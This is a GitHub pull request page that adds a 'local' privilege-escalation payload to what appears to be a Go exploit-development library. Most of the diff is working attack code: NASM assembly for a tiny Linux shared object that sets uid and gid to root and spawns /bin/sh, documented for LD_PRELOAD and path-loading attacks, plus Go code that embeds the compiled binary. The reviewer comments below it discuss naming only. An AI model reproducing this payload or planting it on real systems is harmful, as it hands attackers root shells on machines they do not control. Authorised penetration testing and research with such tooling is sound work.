-
Notifications
You must be signed in to change notification settings - Fork 33
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adds "local" payload type and privesclib #255
Open
terrorbyte
wants to merge
2
commits into
main
Choose a base branch
from
payload/local
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
// Local payloads that are used for privilege escalation or non-remote contexts. | ||
// | ||
// The local package contains a combination of embed code used for local privilege escalation and | ||
// allows for the use in other attack patterns. Each payload is documented with what operating | ||
// system and architecture it supports if necessary. | ||
package local | ||
|
||
type Local interface{} | ||
|
||
// Defines default structures and payload functions. | ||
type ( | ||
PrivEscLibraryPayload struct{} | ||
) | ||
|
||
// Make the payload accessible via `local.PrivEscLibrary`. | ||
var PrivEscLibrary = &PrivEscLibraryPayload{} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
//go:generate nasm -f bin -o privesclib_amd64 privesclib_amd64.asm | ||
package local | ||
|
||
import _ "embed" | ||
|
||
//go:embed privesclib_amd64 | ||
var privEscSharedLibraryAMD64 []byte | ||
|
||
// This payload contains a payload that generates a small Linux AMD64 shared object that will | ||
// trigger setuid/setgid and then spawn a /bin/sh shell. This payload is used often for attacks such | ||
// as incorrect path loading or LD_PRELOAD attacks. This specific implementation is minimized to be | ||
// around 204 bytes compiled and uses `nasm`. | ||
func (p *PrivEscLibraryPayload) AMD64() []byte { | ||
return privEscSharedLibraryAMD64 | ||
} |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
; nasm -f bin -o privesclib_amd64 privesclib_amd64.asm | ||
; Based on the PlaidCTF TeamRocket writeup: https://teamrocketist.github.io/2020/04/20/Misc-PCTF2020-golf-so/ | ||
BITS 64 | ||
org 0 | ||
ehdr: | ||
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident | ||
db 0, 0, 0, 0, 0, 0, 0, 0 | ||
dw 3 ; e_type = ET_DYN | ||
dw 62 ; e_machine = EM_X86_64 | ||
dd 1 ; e_version = EV_CURRENT | ||
dq _start ; e_entry = _start | ||
dq phdr - $$ ; e_phoff | ||
dd phdr - $$ ; e_shoff (chaged to phdr instead of shdr) | ||
dq 0 ; e_flags | ||
dw ehdrsize ; e_ehsize | ||
dw phdrsize ; e_phentsize | ||
dw 2 ; e_phnum | ||
ehdrsize equ $ - ehdr | ||
phdr: | ||
dd 1 ; p_type = PT_LOAD | ||
dd 7 ; p_flags = rwx | ||
dq 0 ; p_offset | ||
dq $$ ; p_vaddr | ||
dq $$ ; p_paddr | ||
dq 0x68732f6e69622f ; p_filesz /bin/sh | ||
dq 0xFFFFFFFF ; p_memsz arbitrary | ||
dq 0x1000 ; p_align | ||
phdrsize equ $ - phdr | ||
dd 2 ; p_type = PT_DYNAMIC | ||
dd 7 ; p_flags = rwx | ||
dynsection: | ||
; DT_STRTAB | ||
dq 0x5 ; p_offset (OVERLAPPED) | ||
dq dynsection ; p_vaddr | ||
; DT_INIT | ||
dq 0x0c | ||
dq _start | ||
; DT_SYMTAB | ||
dq 0x06 | ||
dq _start | ||
global _start | ||
_start: | ||
mov r15,rax ; setuid(0) | ||
push 105 | ||
pop rax | ||
xor edi, edi | ||
syscall | ||
push 106 ; setgid(0) | ||
pop rax | ||
syscall | ||
mov rax,r15 | ||
lea rdi,[rax-0x50] | ||
push 59 | ||
pop rax | ||
push 0 | ||
push rdi | ||
mov rsi,rsp | ||
cdq | ||
syscall |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think my complaint is that PrivEscLib (and privesclib_amd64) are really generic names. Is that... ok? Like I can see a world where we want to do more of these right?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was also quite torn on these, but that part is supposed to be generic. Since that's the type that gets functions defined from: ie the actual payload call in this is
local.PrivEscLibrary.AMD64()
. I think that keeping the top level struct type as broad is fine, but maybe the function signature should be something likeLinuxSharedObjectAMD64()
vsAMD64()
or even have another type for OS and then keep the architecture?I'm not sold on any of these as the best way to do it (I'm not even positive embedding binaries is a good idea period), so if you have any thoughts I'm happy to rearrange.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I do think that having something with the final signature of
local.PrivEscLibrary.Linux.AMD64()
would probably be fine and cover most the use cases while being specific enough to prevent confusion.... but I also hate all the dots lol. We could even do alocal.PrivEscLibrary.LinuxSharedObjectAMD64()
, but I fear theprotocol
signature explosion.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🤣
I am also not positive. However, it's an interesting step forward and code can always be removed from the library. I'm not afraid to bump the major version :) I think maybe more experience using this part will inform us on how it should be improved. That's fine by me. Go ahead and merge when you are ready.